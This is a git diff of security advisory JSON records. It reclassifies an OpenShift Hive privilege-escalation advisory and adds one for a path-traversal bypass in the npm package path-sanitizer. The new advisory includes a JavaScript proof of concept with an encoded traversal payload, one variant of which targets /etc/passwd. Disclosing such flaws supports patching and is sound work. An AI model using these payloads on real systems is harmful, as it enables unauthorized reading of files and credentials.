diff --git a/advisories/unreviewed/2024/12/GHSA-wgqq-9qh8-wvqv/GHSA-wgqq-9qh8-wvqv.json b/advisories/github-reviewed/2024/12/GHSA-wgqq-9qh8-wvqv/GHSA-wgqq-9qh8-wvqv.json similarity index 55% rename from advisories/unreviewed/2024/12/GHSA-wgqq-9qh8-wvqv/GHSA-wgqq-9qh8-wvqv.json rename to advisories/github-reviewed/2024/12/GHSA-wgqq-9qh8-wvqv/GHSA-wgqq-9qh8-wvqv.json index 621a182fd14..fe86bdbe1c9 100644 --- a/advisories/unreviewed/2024/12/GHSA-wgqq-9qh8-wvqv/GHSA-wgqq-9qh8-wvqv.json +++ b/advisories/github-reviewed/2024/12/GHSA-wgqq-9qh8-wvqv/GHSA-wgqq-9qh8-wvqv.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-wgqq-9qh8-wvqv", - "modified": "2024-12-31T15:30:46Z", + "modified": "2025-01-02T12:53:17Z", "published": "2024-12-31T15:30:46Z", "aliases": [ "CVE-2024-25133" ], + "summary": "OpenShift Hive RCE through AWS/Kubernetes client configuration leads to privilege escalation", "details": "A flaw was found in the Hive ClusterDeployments resource in OpenShift Dedicated. In certain conditions, this issue may allow a developer account on a Hive-enabled cluster to obtain cluster-admin privileges by executing arbitrary commands on the hive/hive-controllers pod.", "severity": [ { @@ -13,7 +14,27 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/openshift/hive" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.1.16" + } + ] + } + ] + } + ], "references": [ { "type": "ADVISORY", @@ -23,9 +44,17 @@ "type": "WEB", "url": "https://github.com/openshift/hive/pull/2306" }, + { + "type": "WEB", + "url": "https://github.com/openshift/hive/commit/5ba846620f9dbf49301dabb0d40cc980aabef4e0" + }, { "type": "WEB", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2260372" + }, + { + "type": "PACKAGE", + "url": "https://github.com/openshift/hive" } ], "database_specific": { @@ -33,8 +62,8 @@ "CWE-284" ], "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2025-01-02T12:53:17Z", "nvd_published_at": "2024-12-31T15:15:08Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2025/01/GHSA-94p5-r7cc-3rpr/GHSA-94p5-r7cc-3rpr.json b/advisories/github-reviewed/2025/01/GHSA-94p5-r7cc-3rpr/GHSA-94p5-r7cc-3rpr.json new file mode 100644 index 00000000000..1f5766c18a4 --- /dev/null +++ b/advisories/github-reviewed/2025/01/GHSA-94p5-r7cc-3rpr/GHSA-94p5-r7cc-3rpr.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-94p5-r7cc-3rpr", + "modified": "2025-01-02T12:52:43Z", + "published": "2025-01-02T12:52:42Z", + "aliases": [ + "CVE-2024-56198" + ], + "summary": "path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability ", + "details": "### Summary\nThis is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.\n\nPayload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. \n\n### PoC\nHere's the code to test for the filter bypass:\n\n```js\nconst sanitize = require(\"path-sanitizer\")\nconst path = require(\"path\")\nconst fs = require(\"fs\")\n\n// Real scenario:\nfunction routeHandler(myPath) {\n // Lets just assume that the path was extracted from the request\n // We want to read a file in the C:\\Users\\user\\Desktop\\myApp\\ directory\n // But the user should be able to access C:\\Users\\user\\Desktop\\\n // So we need to sanitize the path\n\n const APP_DIR = \"/var/hacker\"\n const sanitized = path.join(APP_DIR, sanitize(myPath))\n\n // Now we would usally read the file\n // But in this case we just gonna print the path\n // console.log(sanitized)\n return sanitized\n}\n\nfunction readFile(filePath) {\n const absolutePath = path.resolve(filePath) // Resolve to absolute path\n\n fs.readFile(absolutePath, \"utf8\", (err, data) => {\n if (err) {\n console.error(`Error reading the file: ${err.message}`)\n return\n }\n console.log(`Contents of the file ${filePath} :\\n${data}`)\n })\n}\n\ninput_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt\"\n// input_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd\"\ninput_user_payload = \"../../../../../../../../tmp/hacked.txt\"\n\nreadFile(routeHandler(input_user_bypass))\nreadFile(routeHandler(input_user_payload))\n```\n\nHere is a video POC: (this is a Loom POC, only users with the UUID of the video can see it) \n\nhttps://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d\n\n### Impact\nAny CLI tool or library using this package can be/will be vulnerable to Path traversal.\n", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "path-sanitizer" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.1.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/cabraviva/path-sanitizer/security/advisories/GHSA-94p5-r7cc-3rpr" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56198" + }, + { + "type": "WEB", + "url": "https://github.com/cabraviva/path-sanitizer/commit/b6d2319eac910dffdfacc8460f5b5cc5a1518ead" + }, + { + "type": "PACKAGE", + "url": "https://github.com/cabraviva/path-sanitizer" + }, + { + "type": "WEB", + "url": "https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2025-01-02T12:52:42Z", + "nvd_published_at": "2024-12-31T16:15:27Z" + } +} \ No newline at end of file